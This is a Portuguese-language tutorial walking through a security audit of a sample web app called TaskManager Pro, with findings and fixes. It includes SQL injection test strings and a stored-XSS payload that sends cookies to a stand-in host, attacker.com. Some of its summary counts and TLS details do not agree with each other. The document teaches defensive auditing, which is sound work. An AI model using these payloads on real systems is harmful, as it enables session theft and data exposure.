Projeto final: auditoria de segurança completa em uma aplicação web
1. Preparação e Escopo da Auditoria
Para este projeto final, definimos como alvo uma aplicação web de exemplo chamada TaskManager Pro, construída com React no frontend, Node.js/Express no backend e PostgreSQL como banco de dados. A aplicação gerencia tarefas de equipes, armazena dados pessoais (nome, e-mail, hash de senha) e expõe uma API RESTful.
Antes de iniciar os testes, estabelecemos uma matriz de risco baseada no OWASP Risk Rating:
Severidade | Critério de Impacto
-----------|-------------------
Crítico | Exposição de dados sensíveis, RCE
Alto | SQLi, XSS persistente, quebra de autenticação
Médio | IDOR, session fixation
Baixo | Headers de segurança ausentes, informações de versão expostas
Ferramentas essenciais preparadas:
- OWASP ZAP (scanner ativo/passivo)
- Burp Suite Community (proxy de interceptação)
- Nmap (varredura de rede)
- Nuclei (scanner baseado em templates)
- truffleHog (busca de segredos em repositórios)
2. Reconhecimento e Mapeamento de Superfície de Ataque
Iniciamos com enumeração usando Wappalyzer e whatweb para identificar tecnologias:
whatweb https://taskmanager-pro.example.com
Resultado: React, Express, PostgreSQL, Nginx 1.24, TLS 1.3
Levantamos endpoints via crawling manual e com ZAP:
Endpoints críticos identificados:
POST /api/login
GET /api/tasks?userId=123
POST /api/tasks/upload
GET /api/users/profile
Verificamos dependências:
npm audit --json | grep "critical"
Resultado: 2 vulnerabilidades críticas em lodash e express-validator
3. Análise de Vulnerabilidades no Frontend e Backend
Testes de Injeção
SQL Injection no endpoint /api/tasks:
Requisição original:
GET /api/tasks?userId=123
Payload de teste:
GET /api/tasks?userId=123' OR '1'='1
Resposta: 200 OK com dados de todos os usuários
Vulnerabilidade: SQLi confirmada (parâmetro userId não sanitizado)
XSS Armazenado no campo de descrição de tarefa:
Payload enviado via POST:
{
"title": "Tarefa normal",
"description": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
}
Resultado: Script executado no navegador de todos que visualizam a tarefa
Vulnerabilidade: XSS armazenado (ausência de sanitização no backend)
IDOR no perfil de usuário:
GET /api/users/profile/1 (usuário autenticado como ID 1)
GET /api/users/profile/5 (usuário autenticado como ID 1)
Resposta: Dados do usuário ID 5 retornados sem verificação de propriedade
Vulnerabilidade: IDOR (controle de acesso horizontal ausente)
4. Auditoria de Configuração e Infraestrutura
Verificamos headers de segurança com curl:
curl -I https://taskmanager-pro.example.com
Headers retornados:
X-Powered-By: Express
Content-Security-Policy: (ausente)
Strict-Transport-Security: (ausente)
X-Frame-Options: (ausente)
Access-Control-Allow-Origin: *
Problemas identificados:
- CSP ausente (permite execução de scripts não autorizados)
- HSTS ausente (vulnerável a downgrade attack)
- CORS muito permissivo (qualquer origem pode consumir a API)
Teste de criptografia:
nmap --script ssl-enum-ciphers -p 443 taskmanager-pro.example.com
Resultado: TLS 1.2 suporta ciphers fracos (RC4, 3DES)
Recomendação: Desabilitar ciphers inseguros e forçar TLS 1.3
5. Revisão de Dependências e Segurança de Código
Varredura de segredos com truffleHog:
trufflehog filesystem --directory=./taskmanager-repo
Descobertas:
- /src/config/database.js: string de conexão PostgreSQL com senha em texto claro
- /src/.env.example: API_KEY de serviço terceiro exposta
- /src/tests/test_data.sql: dados de produção em repositório de teste
Análise de pacotes com OWASP Dependency-Check:
dependency-check --scan ./node_modules --format HTML
Resultados:
- lodash@4.17.20: CVE-2020-8203 (crítico, prototype pollution)
- express@4.17.1: CVE-2022-24999 (alto, open redirect)
- bcrypt@3.0.8: CVE-2020-7681 (médio, timing attack)
Verificação de prepared statements no código:
Código vulnerável encontrado em /src/routes/tasks.js:
const query = `SELECT * FROM tasks WHERE userId = ${req.query.userId}`;
db.query(query, callback);
Código corrigido:
const query = 'SELECT * FROM tasks WHERE userId = $1';
db.query(query, [req.query.userId], callback);
6. Testes de Segurança Automatizados e Manuais
Executamos scanner ativo com OWASP ZAP:
zap-cli active-scan --url https://taskmanager-pro.example.com
Resumo de alertas:
- SQL Injection: 2 alertas (Alto)
- XSS Refletido: 3 alertas (Alto)
- Path Traversal: 1 alerta (Médio)
- Missing Headers: 5 alertas (Baixo)
- Information Disclosure: 4 alertas (Médio)
Validação manual de falsos positivos:
Alerta de SQLi em /api/tasks?orderBy=name:
- Teste manual: ' ORDER BY 1-- confirmou injeção real
- Falso positivo: alerta de XSS em campo numérico (idade) — descartado
Teste de lógica de negócio no fluxo de recuperação de senha:
Fluxo testado:
1. Solicitar reset de senha para email@example.com
2. Interceptar token de reset via Burp Suite
3. Reutilizar token após 24h (deveria expirar)
Resultado: Token ainda válido após 48h
Vulnerabilidade: Falha na expiração de tokens de reset
7. Relatório Técnico e Plano de Remediação
Estrutura do relatório gerado:
## Resumo Executivo
- 8 vulnerabilidades críticas
- 12 vulnerabilidades altas
- 15 vulnerabilidades médias
- 9 vulnerabilidades baixas
## Vulnerabilidades por Severidade
### Críticas
1. SQL Injection em /api/tasks (userId)
- Evidência: payload ' OR '1'='1 retornou todos os registros
- Remediação: Substituir concatenação por prepared statements
- Esforço: 4 horas
2. Chave de API exposta em .env.example
- Evidência: truffleHog detectou chave válida
- Remediação: Rotacionar chave e remover do repositório
- Esforço: 1 hora
### Altas
3. XSS Armazenado em descrição de tarefa
- Evidência: script executado em todos os visualizadores
- Remediação: Implementar sanitização com DOMPurify (frontend) e validator (backend)
- Esforço: 6 horas
4. IDOR em /api/users/profile/:id
- Evidência: acesso a perfil de outro usuário sem autorização
- Remediação: Verificar userId do token JWT antes de retornar dados
- Esforço: 3 horas
8. Conclusão e Lições Aprendidas
Checklist final de itens auditados:
Item | Status
------------------------------|--------
SQL Injection | Vulnerável (corrigir)
XSS | Vulnerável (corrigir)
IDOR | Vulnerável (corrigir)
Headers de Segurança | Ausentes (implementar)
Criptografia TLS | Ciphers fracos (atualizar)
Segredos em Código | Expostos (rotacionar)
Dependências | 2 críticas (atualizar)
Rate Limiting | Ausente (implementar)
Logs de Segurança | Parciais (melhorar)
Próximos passos recomendados:
1. Reauditoria em 30 dias após correções
2. Teste de penetração complementar com equipe externa
3. Integração de SAST no CI/CD (SonarQube, Semgrep)
4. Implementação de WAF (ModSecurity) em produção
Lições aprendidas:
- A segurança deve ser pensada desde o design (Security by Design)
- Ferramentas automatizadas reduzem tempo mas não substituem análise manual
- A revisão de dependências é tão crítica quanto a revisão de código próprio
- Pequenos descuidos (como um .env.example no repositório) podem ter grande impacto
Referências
- OWASP Risk Rating Methodology — Guia oficial para classificar riscos de segurança em aplicações web
- OWASP ZAP User Guide — Documentação completa do scanner OWASP ZAP, incluindo modos ativo e passivo
- truffleHog GitHub Repository — Ferramenta para varredura de segredos expostos em repositórios Git
- PortSwigger Web Security Academy - IDOR — Tutorial prático sobre Insecure Direct Object References com exemplos interativos
- Mozilla Observatory — Ferramenta gratuita para análise de headers de segurança e boas práticas de configuração web
- Snyk Vulnerability Database — Base de dados de vulnerabilidades em pacotes npm, pip e outras linguagens
- NIST National Vulnerability Database — Repositório oficial de CVEs com detalhes técnicos e referências de correção